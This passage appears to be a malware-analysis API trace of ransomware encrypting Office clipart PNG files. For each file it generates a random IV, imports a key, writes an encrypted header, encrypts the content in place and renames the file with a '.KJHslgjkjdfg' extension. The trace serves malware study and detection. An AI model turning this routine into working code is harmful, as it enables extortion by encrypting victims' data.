lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0184.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.467] GetProcessHeap () returned 0x2a0000 [0184.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.467] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0184.470] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.470] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.470] GetProcessHeap () returned 0x2a0000 [0184.470] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.470] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.470] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.470] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.470] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.470] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.470] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.471] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.471] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.471] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.471] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31883, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31883, lpOverlapped=0x0) returned 1 [0184.475] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31890, dwBufLen=0x31890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31890) returned 1 [0184.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.477] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31890, lpOverlapped=0x0) returned 1 [0184.478] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.478] SetEndOfFile (hFile=0x114) returned 1 [0184.483] GetProcessHeap () returned 0x2a0000 [0184.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.483] GetProcessHeap () returned 0x2a0000 [0184.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png.kjhslgjkjdfg")) returned 1 [0184.485] CloseHandle (hObject=0x114) returned 1 [0184.488] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea13f600, ftCreationTime.dwHighDateTime=0x1c98cd1, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea13f600, ftLastWriteTime.dwHighDateTime=0x1c98cd1, nFileSizeHigh=0x0, nFileSizeLow=0x15d49, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400002.PNG", cAlternateFileName="")) returned 1 [0184.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.489] GetProcessHeap () returned 0x2a0000 [0184.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.489] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.489] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0184.491] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.492] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.492] GetProcessHeap () returned 0x2a0000 [0184.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.492] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.492] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.492] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.492] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.492] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.492] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.492] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.492] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.492] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.493] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15d49, lpOverlapped=0x0) returned 1 [0184.494] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15d50, dwBufLen=0x15d50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15d50) returned 1 [0184.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.495] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15d50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15d50, lpOverlapped=0x0) returned 1 [0184.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.496] SetEndOfFile (hFile=0x114) returned 1 [0184.499] GetProcessHeap () returned 0x2a0000 [0184.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.499] GetProcessHeap () returned 0x2a0000 [0184.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.kjhslgjkjdfg")) returned 1 [0184.501] CloseHandle (hObject=0x114) returned 1 [0184.501] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0184.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.504] GetProcessHeap () returned 0x2a0000 [0184.504] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.504] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.504] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0184.507] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.507] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.507] GetProcessHeap () returned 0x2a0000 [0184.507] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.507] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.507] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.507] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.507] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.507] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.508] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.508] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.508] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e836, lpOverlapped=0x0) returned 1 [0184.510] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e840, dwBufLen=0x1e840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e840) returned 1 [0184.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.512] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e840, lpOverlapped=0x0) returned 1 [0184.512] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.513] SetEndOfFile (hFile=0x114) returned 1 [0184.516] GetProcessHeap () returned 0x2a0000 [0184.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.516] GetProcessHeap () returned 0x2a0000 [0184.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.kjhslgjkjdfg")) returned 1 [0184.518] CloseHandle (hObject=0x114) returned 1 [0184.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0184.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.519] GetProcessHeap () returned 0x2a0000 [0184.519] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.519] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.519] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0184.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.522] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.522] GetProcessHeap () returned 0x2a0000 [0184.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.522] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.522] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.522] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.523] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.523] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.523] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19a5d, lpOverlapped=0x0) returned 1 [0184.525] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a60, dwBufLen=0x19a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a60) returned 1 [0184.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.526] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19a60, lpOverlapped=0x0) returned 1 [0184.527] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.527] SetEndOfFile (hFile=0x114) returned 1 [0184.530] GetProcessHeap () returned 0x2a0000 [0184.531] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.531] GetProcessHeap () returned 0x2a0000 [0184.531] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.kjhslgjkjdfg")) returned 1 [0184.532] CloseHandle (hObject=0x114) returned 1 [0184.532] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0184.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.533] GetProcessHeap () returned 0x2a0000 [0184.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.533] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.534] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.536] 